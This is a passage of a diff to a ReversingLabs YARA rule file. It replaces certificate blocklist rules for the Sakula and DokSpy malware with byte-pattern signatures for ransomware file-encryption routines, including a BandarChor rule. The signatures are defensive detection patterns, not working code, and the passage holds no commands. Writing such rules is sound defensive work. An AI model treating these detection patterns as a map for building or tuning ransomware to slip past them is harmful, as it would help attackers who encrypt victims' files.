?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 + ?? ?? ?? ?? 50 68 ?? ?? ?? ?? EB ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8D 85 ?? ?? ?? + ?? 50 FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? + ?? 83 C4 ?? 33 C0 5E 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 8D 85 ?? ?? ?? ?? 50 + FF B5 ?? ?? ?? ?? 6A ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? + ?? ?? 50 68 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 46 ?? 50 89 85 ?? ?? ?? ?? 89 85 ?? ?? ?? + ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? 6A ?? 6A ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? + 85 C0 0F 84 ?? ?? ?? ?? 57 FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8B F8 + 6A ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 83 7E ?? ?? 72 ?? 8B 36 FF B5 ?? ?? ?? ?? 56 57 E8 + ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 50 57 6A ?? 6A ?? 6A ?? FF + B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 5F 5E 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B + E5 5D C3 8B 8D ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 01 8B C7 8B 4D ?? 5F 33 CD 5E E8 ?? + ?? ?? ?? 8B E5 5D C3 + } + $encrypt_files_2 = { + B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8A 10 3A 11 75 ?? 84 D2 74 ?? 8A 50 ?? 3A 51 ?? 75 + ?? 83 C0 ?? 83 C1 ?? 84 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? ?? + F6 85 ?? ?? ?? ?? ?? 8D 55 ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? E8 + ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? 51 8B D0 8D 4D ?? E8 ?? ?? ?? ?? 83 C4 ?? + 8B F8 C6 45 ?? ?? 8B 4D ?? 8B 55 ?? 41 3B D1 77 ?? 51 8D 4D ?? E8 ?? ?? ?? ?? 8B 55 + ?? 8B 4D ?? 4A 8B 45 ?? 23 CA 03 C1 89 4D ?? 8B 4D ?? 23 D0 83 3C 91 ?? 8D 34 95 ?? + ?? ?? ?? 75 ?? 6A ?? E8 ?? ?? ?? ?? 8B 4D ?? 83 C4 ?? 89 04 31 8B 4D ?? 8B 0C 31 85 + C9 74 ?? 57 E8 ?? ?? ?? ?? FF 45 ?? C6 45 ?? ?? 8B 45 ?? 83 F8 ?? 72 ?? 8B 4D ?? 40 + 3D ?? ?? ?? ?? 72 ?? F6 C1 ?? 0F 85 ?? ?? ?? ?? 8B 41 ?? 3B C1 0F 83 ?? ?? ?? ?? 2B + C8 83 F9 ?? 0F 82 ?? ?? ?? ?? 83 F9 ?? 0F 87 ?? ?? ?? ?? 8B C8 51 E8 ?? ?? ?? ?? 83 + C4 ?? C6 45 ?? ?? 8B 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 + ?? ?? 83 F8 ?? 72 ?? 8B 8D ?? ?? ?? ?? 40 3D ?? ?? ?? ?? 72 ?? F6 C1 ?? 0F 85 ?? ?? + ?? ?? 8B 41 ?? 3B C1 0F 83 ?? ?? ?? ?? 2B C8 83 F9 ?? 0F 82 ?? ?? ?? ?? 83 F9 ?? 0F + 87 ?? ?? ?? ?? 8B C8 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B BD ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? + 8D 85 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 85 F6 0F 8E ?? ?? + ?? ?? 68 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 55 ?? + 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? 50 E8 ?? ?? + ?? ?? C6 45 ?? ?? 8B 85 ?? ?? ?? ?? 83 F8 ?? 72 ?? 8B 8D ?? ?? ?? ?? 40 3D ?? ?? ?? + ?? 72 ?? F6 C1 ?? 0F 85 ?? ?? ?? ?? 8B 41 ?? 3B C1 0F 83 ?? ?? ?? ?? 2B C8 83 F9 ?? + 0F 82 ?? ?? ?? ?? 83 F9 ?? 0F 87 ?? ?? ?? ?? 8B C8 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 85 + ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? + ?? ?? ?? 8B 40 ?? F6 84 05 ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? + ?? 8B D0 C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8B 45 ?? 83 F8 ?? + 72 ?? 8B 4D ?? 40 3D ?? ?? ?? ?? 72 ?? F6 C1 ?? 0F 85 ?? ?? ?? ?? 8B 41 ?? 3B C1 0F + 83 ?? ?? ?? ?? 2B C8 83 F9 ?? 0F 82 ?? ?? ?? ?? 83 F9 ?? 0F 87 ?? ?? ?? ?? 8B C8 51 + E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 8B 85 ?? ?? ?? + ?? 8D 8D ?? ?? ?? ?? 6A ?? 8B 40 ?? 03 C8 8B 51 ?? 83 CA ?? 8B C2 83 C8 ?? 83 79 ?? + ?? 0F 45 C2 50 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 40 ?? C7 84 05 ?? ?? ?? ?? ?? ?? + ?? ?? 8B 85 ?? ?? ?? ?? 8B 48 ?? 8D 41 ?? 89 84 0D ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 + ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 40 ?? C7 84 05 ?? ?? ?? ?? ?? ?? ?? ?? 8B 85 ?? ?? + ?? ?? 8B 48 ?? 8D 41 ?? 89 84 0D ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 C7 85 + ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? FF 15 ?? ?? ?? ?? 57 FF + 15 ?? ?? ?? ?? 83 7D ?? ?? 0F 85 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? + ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? + ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? B0 ?? 8B 4D ?? 64 89 0D ?? ?? ?? + ?? 59 5F 5E 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 + } + $encrypt_files_3 = { + E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? 51 8B D0 8D 4D ?? E8 ?? ?? ?? ?? 83 C4 + ?? C6 45 ?? ?? 8B 85 ?? ?? ?? ?? 83 F8 ?? 72 ?? 8B 8D ?? ?? ?? ?? 40 3D ?? ?? ?? ?? + 72 ?? F6 C1 ?? 0F 85 ?? ?? ?? ?? 8B 41 ?? 3B C1 0F 83 ?? ?? ?? ?? 2B C8 83 F9 ?? 0F + 82 ?? ?? ?? ?? 83 F9 ?? 0F 87 ?? ?? ?? ?? 8B C8 51 E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? + ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 83 FE ?? 0F + 84 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? B8 ?? ?? ?? + ?? 8D 8D ?? ?? ?? ?? 8A 11 3A 10 75 ?? 84 D2 74 ?? 8A 51 ?? 3A 50 ?? 75 ?? 83 C1 ?? + 83 C0 ?? 84 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 6A ?? + 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 8D 4D ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? + ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? + 8D 4D ?? 0F 43 4D ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 7E ?? 83 7D ?? ?? 8D 4D ?? 8D + 45 ?? 0F 43 4D ?? 83 7D ?? ?? 51 0F 43 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? + 46 EB ?? 85 F6 75 ?? 83 F8 ?? B8 ?? ?? ?? ?? 0F 45 F0 89 B5 ?? ?? ?? ?? 8D 4D ?? E8 + ?? ?? ?? ?? C6 45 ?? ?? 8B 45 ?? 83 F8 ?? 0F 82 ?? ?? ?? ?? 8B 4D ?? 40 3D ?? ?? ?? + ?? 72 ?? F6 C1 ?? 75 ?? 8B 41 ?? 3B C1 73 ?? 2B C8 83 F9 ?? 72 ?? 83 F9 ?? 77 ?? 8B + C8 51 E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? E8 + } + $encrypt_files_4 = { + 8B BD ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0 + 0F 85 ?? ?? ?? ?? 85 F6 0F 8E ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 + ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 55 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 45 + ?? ?? 8D 8D ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? C6 45 ?? ?? 8B 85 ?? ?? ?? ?? 83 F8 ?? 72 + ?? 40 8D 8D ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? C7 85 + ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 8B 40 ?? + F6 84 05 ?? ?? ?? ?? ?? 75 ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 8B D0 C6 45 ?? ?? 8D 8D ?? + ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8B 45 ?? 83 F8 ?? 72 ?? 40 8D 4D ?? 50 FF 75 ?? + E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 8B 85 ?? ?? ?? ?? 8D 8D + ?? ?? ?? ?? 8B 40 ?? 03 C8 8B 41 ?? 83 C8 ?? 83 79 ?? ?? 75 ?? 83 C8 ?? 6A ?? 50 E8 + ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 40 ?? C7 84 05 ?? ?? ?? ?? ?? ?? ?? ?? 8B 85 ?? ?? + ?? ?? 8B 48 ?? 8D 41 ?? 89 84 0D ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 + ?? ?? ?? ?? 8B 40 ?? C7 84 05 ?? ?? ?? ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 48 ?? 8D + 41 ?? 89 84 0D ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 C7 85 ?? ?? ?? ?? ?? ?? + ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? FF 15 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 83 + 7D ?? ?? 0F 85 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? FF 75 ?? + E8 ?? ?? ?? ?? 8B 45 ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? 83 F8 ?? 72 ?? 40 8D 4D ?? 50 + } + $encrypt_files_5 = { + FF 75 ?? E8 ?? ?? ?? ?? 8B 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? + ?? 83 F8 ?? 72 ?? 40 8D 4D ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 8B 45 ?? C7 45 ?? ?? ?? ?? + ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 83 F8 ?? 72 ?? 40 8D 4D ?? 50 FF 75 ?? E8 ?? ?? + ?? ?? B0 ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B + E5 5D C3 E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? 51 8B D0 8D 4D ?? E8 ?? ?? ?? + ?? 83 C4 ?? C6 45 ?? ?? 8B 85 ?? ?? ?? ?? 83 F8 ?? 72 ?? 40 8D 8D ?? ?? ?? ?? 50 FF + B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? + ?? ?? C6 85 ?? ?? ?? ?? ?? 83 FE ?? 0F 84 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? + ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 + ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 6A ?? 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 8D 4D ?? C7 + 45 ?? ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? + ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? 8D 4D ?? 0F 43 4D ?? 50 E8 ?? ?? ?? ?? 83 C4 + ?? 85 C0 7E ?? 83 7D ?? ?? 8D 4D ?? 8D 45 ?? 0F 43 4D ?? 83 7D ?? ?? 51 0F 43 45 ?? + 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 46 89 B5 ?? ?? ?? ?? 8B 45 ?? 83 F8 ?? 72 ?? + 40 8D 4D ?? 50 FF 75 ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8B 45 ?? 83 F8 ?? 0F 82 ?? ?? ?? + ?? 40 8D 4D ?? 50 FF 75 ?? E8 ?? ?? ?? ?? E9 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "MICRO DIGITAL INC." and pe.signatures [ i ] . serial == "31:06:2e:48:3e:01:06:b1:8c:98:2f:00:53:18:5c:36" and 1332287999 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $encrypt_files_1 and $encrypt_files_2 and $encrypt_files_3 ) or ( $encrypt_files_1 and $encrypt_files_4 and $encrypt_files_5 ) } - -rule REVERSINGLABS_Cert_Blocklist_20D0Ee42Fc901E6B3A8Fefe8C1E6087A : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Bandarchor : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing Sakula malware." + description = "Yara rule that detects BandarChor ransomware." author = "ReversingLabs" - id = "ba37919a-584b-5ff7-b4d5-5b711cc87b1f" - date = "2020-08-05" - modified = "2023-11-08" + id = "c645a081-7ff6-58fc-af8e-55f43f56d0ea" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2140-L2156" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.BandarChor.yara#L1-L97" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "2225302de1e8fe9f2ad064e19b2b1d9faf90c7cafbebff6ddd0921bf57c5f9e6" + logic_hash = "1c0c33ef7de089fc7ed6b364c7693499d1a93f79a48d6f2a5c375e47aea176bc" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "BandarChor" + tc_detection_factor = 5 importance = 25 - condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "SJ SYSTEM" and pe.signatures [ i ] . serial == "20:d0:ee:42:fc:90:1e:6b:3a:8f:ef:e8:c1:e6:08:7a" and 1391299199 <= pe.signatures [ i ] . not_after ) -} - -rule REVERSINGLABS_Cert_Blocklist_127251B32B9A50Bd : INFO FILE -{ - meta: - description = "Certificate used for digitally signing OSX DokSpy backdoor." - author = "ReversingLabs" - id = "3581085c-a6e7-571f-8253-f8d9e90e78fc" - date = "2020-08-05" - modified = "2023-11-08" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2158-L2174" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "8552ce9e9ab8d6b1025ab3c6e7b2485ef855236114c426475fde0b5f2e231ec9" - score = 75 - quality = 90 - tags = "INFO, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "INFO" - importance = 25 + strings: + $file_extensions_1 = { + 55 8B EC B9 ?? ?? ?? ?? 6A ?? 6A ?? 49 75 F9 51 53 89 55 ?? 8B D8 8B 45 ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? + ?? ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? + 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? + ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 4D ?? 8B 95 ?? + ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 E0 ?? 83 F8 ?? 0F 85 F9 00 00 00 8D 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? + ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? + E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 + ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? + ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? + ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? + ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 55 ?? 8B C3 E8 4F FE FF FF E9 ?? ?? ?? ?? 8D 95 + } + $file_extensions_2 = { + ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? + E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? + ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 + ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? + ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 + ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? + ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? + ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? + ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? + ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 + } + $file_extensions_3 = { + 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? + ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? + ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? + ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B + 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? + ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? + 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? + ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 + ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? + 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B + 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 + } + $file_extensions_4 = { + 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? + ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D + 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 + ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F + 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? + ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 + ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? + E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 + } + $file_extensions_5 = { + ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? + ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? + ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 + ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? + ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? 